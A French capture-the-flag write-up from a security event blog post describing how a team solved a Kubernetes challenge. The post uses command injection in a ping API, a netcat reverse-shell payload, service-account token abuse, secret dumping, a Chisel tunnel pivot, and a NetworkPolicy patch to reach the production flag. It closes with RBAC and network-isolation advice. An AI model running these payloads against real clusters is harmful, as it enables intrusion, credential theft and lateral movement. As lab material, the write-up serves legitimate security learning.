Hackvens 2022 — AdminSys Write-up : K8S

Les Pires Hat
5 min readOct 9, 2022

--

Le 7 novembre 2022 se déroulait la première édition du Hackvens, un événement autour de la cybersécurité organisé par les équipes d’Advens.

Au programme, des supers présentations et retours d’expérience, notamment la suite de la saga Red Team “J’irai m’introduire chez vous” présentée à la Sthack 2019 ou encore le fonctionnement des bornes de recharges pour les véhicules électriques.

Notre équipe a ensuite participé à un Bug Bounty solidaire pour l’association LinkedOut et au CTF jusqu’au petit matin.

Dans ce post nous allons voir comment résoudre le challenge Kubernetes dans la catégorie AdminSys.

Introduction

L’énoncé du challenge est le suivant :

Une application en pré-prod est exposé sur internet, jusqu'où pourrez vous aller ?

NB: L'administrateur surveille son infra toutes les 15 minutes.

https://k8s.hackvens.fr/

Sur le lien donné on accède au swagger OpenAPI d’une API en pré-production.

Sur le swagger on remarque que l’application utilise API Platform et donc PHP Symfony.

De plus deux routes sont accessibles :

  • POST /flag où il faut passer en data {"secret":""} afin d’obtenir le flag.
  • POST /ping/ où il faut passer en data {"address":""} afin d’effectuer un ping vers l’adresse depuis le serveur de l’API.

Après quelques tests la route /ping/ est vulnérable à une injection de commande :

curl -X POST http://10.42.1.44/ping/ -H "Host: k8s.hackvens.fr" -H "Accept: application/json" -H "Content-Type: application/json" -d '{"address": "localhost; echo 'test'"}...
test

Ainsi il est possible d’exécuter des commandes directement sur le container de l’application en pré-production.

On peut alors mettre en place un reverse shell avec le payload suivant :

{"address": "localhost; mkfifo /tmp/e;nc IP PORT 0</tmp/e|/bin/sh -i 2>&1|tee /tmp/e"}

Utilisation du Service Account du pod “pré-production”

Afin de confirmer notre présence sur un pod au sein d’un cluster Kubernetes on peut directement vérifier le contenu du répertoire où sont généralement montées les informations du Service Account configuré pour le pod : /var/run/secrets/kubernetes.io/serviceaccount

ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token

C’est bien le cas ! Les informations du Service Account sont présentes et on peut alors les utiliser pour accéder à l’API du cluster Kubernetes. 🔑

Par soucis de praticité, il est possible de directement télécharger le binaire de kubectl sur le container du pod :

cd /tmpcurl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"chmod +x /tmp/kubectlalias "kubectl=/tmp/kubectl --token $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"

On peut alors utiliser kubectl pour lister les droits de ce Service Account sur le cluster :

kubectl auth can-i --listResources      Non-Resource URLs    Resource Names   Verbs...
...
namespace [] [] [list]
...

Nous avons la possibilité de lister les namespaces :

kubectl get ns...
monitoring
ping
ping-preprod
...

On peut alors vérifier ses droits sur les deux autres namespaces “métiers” :

kubectl auth can-i --list -n monitoringResources      Non-Resource URLs    Resource Names   Verbs...
...
pod [] [] [get list]
secret [] [] [get list]
...

Nous avons le droit de lire les secrets et les informations des pods sur le namespace monitoring avec le Service Account du pod de pré-production.

Sur le namespace de production ping nous n’avons pas de droit particulier. ❌

Dans les secrets du namespace monitoring on obtient un nom d’utilisateur et une clé privée pour la configuration du SSH sur le pod monitor-5fb88b66dd-q9dl6:

kubectl get pods -n monitor
NAME READY STATUS RESTARTS AGE
monitor-5fb88b66dd-q9dl6 1/1 Running 0 10m
kubectl get secrets -n monitor -o yaml
...
ssh-key: LS0tLS1CRU..
username: bGVldA==
...

On peut alors tenter de se connecter à ce pod via SSH afin de récupérer son Service Account.

La configuration du pod monitoring-5fb88b66dd-q9dl6nous indique :

  • son IP sur le cluster : 10.42.2.54
  • le port du server SSH : 2222

L’installation d’un client SSH semble compliquée sur le pod de pré-production : nous n’avons pas la possibilité de compiler ou d’installer via un gestionnaire de paquet…

Ainsi il est possible d’utiliser Chisel afin d’établir un tunnel TCP over HTTP pour établir une connexion SSH entre notre PC et le pod dans le namespace monitor :

# Sur notre PC:
./chisel server -port 2222
# Sur le pod de pré-production :
./chisel client IP R:2222:10.42.2.54:2222

Pivot sur le Service Account du pod “monitor”

Il est maintenant possible d’exécuter des commandes sur le pod dans le namespace monitor.

On peut donc appliquer la même démarche que pour le pod de pré-production 🔎 :

  • récupération des informations du Service Account
  • analyse de la configuration RBAC pour le Service Account namespace par namespace

On remarque les permission suivantes sur le namespace de production ping :

kubectl auth can-i --list -n pingResources    Non-Resource URLs    Resource Names   Verbs
...
pod [] [] [list get]
NetworkPolicies [] [] [list get patch]
...

Nous avons la possibilité de modifier la NetworkPolicy présente sur le namespace de production afin d’autoriser les connexions entrantes et sortantes depuis un autre namespace.

L’objectif est d’accéder au service de production depuis le pod de pré-production afin de récupérer le flag. 🚩

Ainsi il faut modifier la NetworkPolicy pour rajouter les namespaceSelector pour le namespace pring-preprod :

cat /tmp/np.yamlapiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
annotations:
meta.helm.sh/release-name: ping
meta.helm.sh/release-namespace: ping
labels:
app.kubernetes.io/managed-by: Helm
name: isolate-prod
namespace: ping
spec:
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: ping
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: ping-preprod
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: ping
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: ping-preprod
podSelector: {}
policyTypes:
- Ingress
- Egress

On applique les modifications avec kubectl apply -f /tmp/np.yaml .

On peut désormais accéder au service de production via son IP au sein du cluster récupérée dans sa configuration ✅ :

curl http://10.42.1.44/

Récupération du flag sur le service de production

Il est alors possible de vérifier si le service en production présente les même vulnérabilité que le service en pré-production :

curl -X POST http://10.42.1.44/ping/ -H "Host: k8s.hackvens.fr" -H "Accept: application/json" -H "Content-Type: application/json" -d '{"address": "localhost; echo 'test'"}...
test

C’est le cas, nous pouvons donc exécuter des commande sur le container de production. ✅

La seule information manquante semble être le secret à passer lors de l’appel à la route /flag .

Une variable d’environnement souvent utilisée par Symfony (et Laravel) pour un secret applicatif est APP_SECRET ainsi on peut tenter sa récupération :

curl -X POST http://10.42.1.44/ping/ -H "Host: k8s.hackvens.fr" -H "Accept: application/json" -H "Content-Type: application/json" -d '{"address": "localhost; echo $APP_SECRET"}Kaa!D4360WfwPF6LDS@!FoKu^rB!q00xmpFW1Fhl1WT^f2$N2d

Le secret est bien là, on peut alors tenter la récupération du flag :

curl -X POST http://10.42.1.44/flag -H "Host: k8s.hackvens.fr" -H "Accept: application/json" -H "Content-Type: application/json" -d '{"secret":"Kaa!D4360WfwPF6LDS@!FoKu^rB!q00xmpFW1Fhl1WT^f2$N2d"}HACKVENS{YoUsHoulDs3Cur3Y0uRN3etWorkS$And$RBAC!}

Le flag se dévoile ! 🥳

Conclusion

Comme le flag l’indique il est primordial de sécuriser son cluster :

  • en portant une attention particulière à la configuration des RBAC : il ne faut pas donner des droits trop importants ou inutiles pour le besoin du service surtout quand il s’agit d’un Service Account monté sur un pod exposé (ou non).
  • en utilisant des NetworkPolicy afin de limiter les mouvements latéraux au sein du cluster.

Pour aller plus loin il est possible de venir bloquer les modifications de certaines ressources ou l’exécution de certains appels noyaux par les containers des pods avec une solution comme Falco en définissant des règles de sécurité.

Un grand merci aux équipes d’Advens pour l’organisation de cet événement et la qualité des présentations.

Merci aussi au créateur du challenge !

--

--